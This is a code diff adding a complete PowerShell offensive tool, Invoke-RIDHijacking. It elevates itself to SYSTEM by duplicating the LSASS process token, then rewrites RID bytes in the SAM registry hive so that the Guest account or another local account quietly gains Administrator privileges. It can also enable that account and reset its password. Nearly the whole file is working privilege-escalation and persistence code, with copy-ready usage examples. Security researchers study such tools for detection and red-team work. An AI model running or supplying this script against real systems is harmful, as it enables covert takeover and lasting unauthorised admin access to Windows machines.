|
| 1 | +#Requires -Version 2 |
| 2 | + |
| 3 | +function Invoke-RIDHijacking { |
| 4 | + |
| 5 | +<# |
| 6 | +
|
| 7 | +.SYNOPSIS |
| 8 | +This script will create an entry on the target by modifying some properties of an existing account. |
| 9 | +It will change the account attributes by setting a Relative Identifier (RID), which should be owned |
| 10 | +by one existing account on the destination machine. |
| 11 | +
|
| 12 | +Taking advantage of some Windows Local Users Management integrity issues, this module will allow to |
| 13 | +authenticate with one known account credentials (like GUEST account), and access with the privileges |
| 14 | +of another existing account (like ADMINISTRATOR account), even if the spoofed account is disabled. |
| 15 | + |
| 16 | +Author: Sebastian Castro @r4wd3r. E-mail: [email protected]. Twitter: @r4wd3r. |
| 17 | +License: BSD 3-Clause |
| 18 | +
|
| 19 | +.DESCRIPTION |
| 20 | +The RID Hijacking technique allows setting desired privileges to an existent account in a stealthy manner |
| 21 | +by modifying the Relative Identifier value copy used to create the access token. This module needs administrative privileges. |
| 22 | +
|
| 23 | +.PARAMETER User |
| 24 | +User account to use as the hijacker. If -UseGuest, this parameter will be ignored. |
| 25 | +
|
| 26 | +.PARAMETER Password |
| 27 | +Password value to set for the hijacker account. |
| 28 | +
|
| 29 | +.PARAMETER RID |
| 30 | +RID number in decimal of the victim account. Should be the RID of an existing account. 500 by default. |
| 31 | +
|
| 32 | +.PARAMETER UseGuest |
| 33 | +Set GUEST built-in account as the destination of the privileges to be hijacked. |
| 34 | +
|
| 35 | +.PARAMETER Enable |
| 36 | +Enable the hijacker account via registry modification. |
| 37 | +
|
| 38 | +.EXAMPLE |
| 39 | +Invoke-RIDHijacking -User alice -RID 500 |
| 40 | +Set Administrator privileges to alice custom user. |
| 41 | +
|
| 42 | +.EXAMPLE |
| 43 | +Invoke-RIDHijacking -User alice -RID 500 -Password Password1 |
| 44 | +Set Administrator privileges to alice custom user and set new password for alice. |
| 45 | +
|
| 46 | +.EXAMPLE |
| 47 | +Invoke-RIDHijacking -User alice -RID 500 -Password Password1 -Enable |
| 48 | +Set Administrator privileges to alice custom user, set new password for alice and enable alice's account. |
| 49 | +
|
| 50 | +.EXAMPLE |
| 51 | +Invoke-RIDHijacking -UseGuest -RID 500 |
| 52 | +Set Administrator privileges to Guest Account. This could also work with the command Invoke-RIDHijacking -Guest. |
| 53 | +
|
| 54 | +.EXAMPLE |
| 55 | +Invoke-RIDHijacking -UseGuest -RID 500 -Password Password1 |
| 56 | +Set Administrator privileges to Guest Account and setting new password for Guest. |
| 57 | +
|
| 58 | +.EXAMPLE |
| 59 | +Invoke-RIDHijacking -UseGuest -RID 1001 |
| 60 | +Set custom account privileges to Guest Account. A custom local user with RID 1001 should exist. |
| 61 | +
|
| 62 | +.EXAMPLE |
| 63 | +Invoke-RIDHijacking -UseGuest -RID 1001 -Password Password1 |
| 64 | +Set custom account privileges to Guest Account and set new password for Guest. A custom local user with |
| 65 | +RID 1001 should exist. |
| 66 | +
|
| 67 | +.EXAMPLE |
| 68 | +Invoke-RIDHijacking -User alice -RID 1002 -Password Password1 -Enable |
| 69 | +Set custom account privileges to alice custom user, set new password for alice and enable alice's account. |
| 70 | +A custom local user with RID 1002 should exist. |
| 71 | +
|
| 72 | +.NOTES |
| 73 | +Elevates privileges with LSASS token duplication: |
| 74 | +https://gallery.technet.microsoft.com/scriptcenter/Enable-TSDuplicateToken-6f485980 |
| 75 | +Access to local users data stored in registry based on Get-LocalUsersInfo |
| 76 | +https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Get-username-fdcb6990 |
| 77 | +
|
| 78 | +
|
| 79 | +.LINK |
| 80 | +https://csl.com.co/rid-hijacking/ |
| 81 | +https://r4wsecurity.blogspot.com/2017/12/rid-hijacking-maintaining-access-on.html |
| 82 | +https://github.com/r4wd3r/RID-Hijacking |
| 83 | +
|
| 84 | +#> |
| 85 | + [CmdletBinding()] param( |
| 86 | + [Parameter(Position = 0,Mandatory = $False)] |
| 87 | + [string] |
| 88 | + $User, |
| 89 | + |
| 90 | + [string] |
| 91 | + $Password, |
| 92 | + |
| 93 | + [switch] |
| 94 | + $UseGuest, |
| 95 | + |
| 96 | + [ValidateRange(500,65535)] |
| 97 | + [int] |
| 98 | + $RID = 500, |
| 99 | + |
| 100 | + [switch] |
| 101 | + $Enable |
| 102 | + ) |
| 103 | + |
| 104 | + begin { |
| 105 | + # Checks SYSTEM privileges in the current thread or tries to elevate them via duplicating LSASS access token. |
| 106 | + Write-Verbose "Checking for SYSTEM privileges" |
| 107 | + if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) { |
| 108 | + Write-Output "[+] Process is already running as SYSTEM" |
| 109 | + } |
| 110 | + else { |
| 111 | + try { |
| 112 | + Write-Verbose "Trying to get SYSTEM privileges" |
| 113 | + Enable-TSDuplicateToken |
| 114 | + Write-Output "[+] Elevated to SYSTEM privileges" |
| 115 | + } |
| 116 | + catch { |
| 117 | + throw "Administrator or SYSTEM privileges are required" |
| 118 | + } |
| 119 | + } |
| 120 | + |
| 121 | + # Obtains the needed registry values for each local user |
| 122 | + $localUsers = Get-UserKeys |
| 123 | + $currentUser = $null |
| 124 | + } |
| 125 | + |
| 126 | + process { |
| 127 | + |
| 128 | + # Set to currentUser the account to be used as the hijacker. |
| 129 | + Write-Verbose "Checking users..." |
| 130 | + if ($UseGuest) { |
| 131 | + $currentUser = $localUsers | Where-Object { $_.RID -eq 501 } |
| 132 | + } |
| 133 | + else { |
| 134 | + if ($User) { |
| 135 | + $currentUser = $localUsers | Where-Object { $_.UserName -contains $User } |
| 136 | + } |
| 137 | + } |
| 138 | + |
| 139 | + # Verifies if the entered account exists. |
| 140 | + if ($currentUser) { |
| 141 | + "[+] Found {0} account" -f ($currentUser.UserName) |
| 142 | + "[+] Target account username: {0}" -f $currentUser.UserName |
| 143 | + "[+] Target account RID: {0}" -f $currentUser.RID |
| 144 | + } |
| 145 | + else { |
| 146 | + throw "User does not exists in system" |
| 147 | + } |
| 148 | + |
| 149 | + # Creates a copy of the user's F REG_BINARY with requested modifications |
| 150 | + $FModified = New-Object Byte[] $currentUser.F.length |
| 151 | + for ($i = 0; $i -lt $currentUser.F.length; $i++) { |
| 152 | + if ($Enable -and ($i -eq 56)) { |
| 153 | + $FModified[$i] = 20 |
| 154 | + continue |
| 155 | + } |
| 156 | + # Sets the new RID in the F REG_BINARY copy |
| 157 | + if ($RID -and ($i -eq 48)) { |
| 158 | + $hexRid = [byte[]][BitConverter]::GetBytes($RID) |
| 159 | + $FModified[$i],$FModified[$i + 1] = $hexRid[0],$hexRid[1] |
| 160 | + $i++ |
| 161 | + continue |
| 162 | + } |
| 163 | + $FModified[$i] = $currentUser.F[$i] |
| 164 | + } |
| 165 | + |
| 166 | + "[*] Current RID value in F for {0}: {1:x2}{2:x2}" -f ($currentUser.UserName,$currentUser.F[49],$currentUser.F[48]) |
| 167 | + "[*] Setting RID $RID ({1:x2}{2:x2}) in F for {0} " -f ($currentUser.UserName,$FModified[49],$FModified[48]) |
| 168 | + |
| 169 | + # Writes changes to Registry |
| 170 | + $fPath = "HKLM:\SAM\SAM\Domains\Account\Users\{0:x8}" -f $currentUser.RID |
| 171 | + |
| 172 | + try { |
| 173 | + Write-Verbose "Writing changes to registry: $fPath" |
| 174 | + Set-ItemProperty -Path $fPath -Name F -Value $FModified |
| 175 | + } |
| 176 | + catch { |
| 177 | + throw "Error writing in registry. Path: $fPath" |
| 178 | + } |
| 179 | + |
| 180 | + if ($Enable) { |
| 181 | + Write-Output "[+] Account has been enabled" |
| 182 | + } |
| 183 | + |
| 184 | + if ($Password) { |
| 185 | + Write-Output "[*] Setting password to user..." |
| 186 | + net user $currentUser.UserName $Password |
| 187 | + Write-Output "[+] Password set to $Password" |
| 188 | + } |
| 189 | + "[+] SUCCESS: The RID $RID has been set to the account {0} with original RID {1}" -f ($currentUser.UserName,$currentUser.RID) |
| 190 | + } |
| 191 | +} |
| 192 | + |
| 193 | +function Get-UserName ([byte[]]$V) { |
| 194 | + if (-not $V) { return $null }; |
| 195 | + $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; |
| 196 | + $len = [BitConverter]::ToInt32($V[0x10..0x13],0); |
| 197 | + return [Text.Encoding]::Unicode.GetString($V,$offset,$len); |
| 198 | +} |
| 199 | + |
| 200 | +function Get-UserKeys { |
| 201 | + Get-ChildItem HKLM:\SAM\SAM\Domains\Account\Users | |
| 202 | + Where-Object { $_.PSChildName -match "^[0-9A-Fa-f]{8}$" } | |
| 203 | + Add-Member AliasProperty KeyName PSChildName -Passthru | |
| 204 | + Add-Member ScriptProperty UserName { Get-UserName ($this.GetValue("V")) } -Passthru | |
| 205 | + Add-Member ScriptProperty Rid { [Convert]::ToInt32($this.PSChildName,16) } -Passthru | |
| 206 | + Add-Member ScriptProperty F { [byte[]]($this.GetValue("F")) } -Passthru | |
| 207 | + Add-Member ScriptProperty FRid { [BitConverter]::ToUInt32($this.GetValue("F")[0x30..0x34],0) } -Passthru |
| 208 | +} |
| 209 | + |
| 210 | +function Enable-TSDuplicateToken { |
| 211 | + |
| 212 | + $signature = @" |
| 213 | + [StructLayout(LayoutKind.Sequential, Pack = 1)] |
| 214 | + public struct TokPriv1Luid |
| 215 | + { |
| 216 | + public int Count; |
| 217 | + public long Luid; |
| 218 | + public int Attr; |
| 219 | + } |
| 220 | +
|
| 221 | + public const int SE_PRIVILEGE_ENABLED = 0x00000002; |
| 222 | + public const int TOKEN_QUERY = 0x00000008; |
| 223 | + public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; |
| 224 | + public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; |
| 225 | +
|
| 226 | + public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; |
| 227 | + public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; |
| 228 | + public const UInt32 TOKEN_DUPLICATE = 0x0002; |
| 229 | + public const UInt32 TOKEN_IMPERSONATE = 0x0004; |
| 230 | + public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; |
| 231 | + public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; |
| 232 | + public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; |
| 233 | + public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; |
| 234 | + public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); |
| 235 | + public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | |
| 236 | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | |
| 237 | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | |
| 238 | + TOKEN_ADJUST_SESSIONID); |
| 239 | +
|
| 240 | + public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; |
| 241 | + public const int ANYSIZE_ARRAY = 1; |
| 242 | +
|
| 243 | + [StructLayout(LayoutKind.Sequential)] |
| 244 | + public struct LUID |
| 245 | + { |
| 246 | + public UInt32 LowPart; |
| 247 | + public UInt32 HighPart; |
| 248 | + } |
| 249 | +
|
| 250 | + [StructLayout(LayoutKind.Sequential)] |
| 251 | + public struct LUID_AND_ATTRIBUTES { |
| 252 | + public LUID Luid; |
| 253 | + public UInt32 Attributes; |
| 254 | + } |
| 255 | +
|
| 256 | +
|
| 257 | + public struct TOKEN_PRIVILEGES { |
| 258 | + public UInt32 PrivilegeCount; |
| 259 | + [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)] |
| 260 | + public LUID_AND_ATTRIBUTES [] Privileges; |
| 261 | + } |
| 262 | +
|
| 263 | + [DllImport("advapi32.dll", SetLastError=true)] |
| 264 | + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int |
| 265 | + SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); |
| 266 | +
|
| 267 | +
|
| 268 | + [DllImport("advapi32.dll", SetLastError=true)] |
| 269 | + [return: MarshalAs(UnmanagedType.Bool)] |
| 270 | + public static extern bool SetThreadToken( |
| 271 | + IntPtr PHThread, |
| 272 | + IntPtr Token |
| 273 | + ); |
| 274 | +
|
| 275 | + [DllImport("advapi32.dll", SetLastError=true)] |
| 276 | + [return: MarshalAs(UnmanagedType.Bool)] |
| 277 | + public static extern bool OpenProcessToken(IntPtr ProcessHandle, |
| 278 | + UInt32 DesiredAccess, out IntPtr TokenHandle); |
| 279 | +
|
| 280 | + [DllImport("advapi32.dll", SetLastError = true)] |
| 281 | + public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); |
| 282 | +
|
| 283 | + [DllImport("kernel32.dll", ExactSpelling = true)] |
| 284 | + public static extern IntPtr GetCurrentProcess(); |
| 285 | +
|
| 286 | + [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] |
| 287 | + public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, |
| 288 | + ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); |
| 289 | +"@ |
| 290 | + |
| 291 | + $currentPrincipal = New-Object Security.Principal.WindowsPrincipal ([Security.Principal.WindowsIdentity]::GetCurrent()) |
| 292 | + if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { |
| 293 | + throw "Run the Command as an Administrator" |
| 294 | + break |
| 295 | + } |
| 296 | + |
| 297 | + Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv |
| 298 | + $adjPriv = [AdjPriv.AdjPriv] |
| 299 | + [long]$luid = 0 |
| 300 | + |
| 301 | + $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid |
| 302 | + $tokPriv1Luid.Count = 1 |
| 303 | + $tokPriv1Luid.Luid = $luid |
| 304 | + $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED |
| 305 | + |
| 306 | + $retVal = $adjPriv::LookupPrivilegeValue($null,"SeDebugPrivilege",[ref]$tokPriv1Luid.Luid) |
| 307 | + |
| 308 | + [IntPtr]$htoken = [IntPtr]::Zero |
| 309 | + $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(),[AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS,[ref]$htoken) |
| 310 | + |
| 311 | + |
| 312 | + $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES |
| 313 | + $retVal = $adjPriv::AdjustTokenPrivileges($htoken,$false,[ref]$tokPriv1Luid,12,[IntPtr]::Zero,[IntPtr]::Zero) |
| 314 | + |
| 315 | + if (-not ($retVal)) { |
| 316 | + [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() |
| 317 | + break |
| 318 | + } |
| 319 | + |
| 320 | + $process = (Get-Process -Name lsass) |
| 321 | + [IntPtr]$hlsasstoken = [IntPtr]::Zero |
| 322 | + $retVal = $adjPriv::OpenProcessToken($process.Handle,([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -bor [AdjPriv.AdjPriv]::TOKEN_DUPLICATE),[ref]$hlsasstoken) |
| 323 | + |
| 324 | + [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero |
| 325 | + $retVal = $adjPriv::DuplicateToken($hlsasstoken,2,[ref]$dulicateTokenHandle) |
| 326 | + |
| 327 | + $retval = $adjPriv::SetThreadToken([IntPtr]::Zero,$dulicateTokenHandle) |
| 328 | + if (-not ($retVal)) { |
| 329 | + [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() |
| 330 | + } |
| 331 | +} |
0 commit comments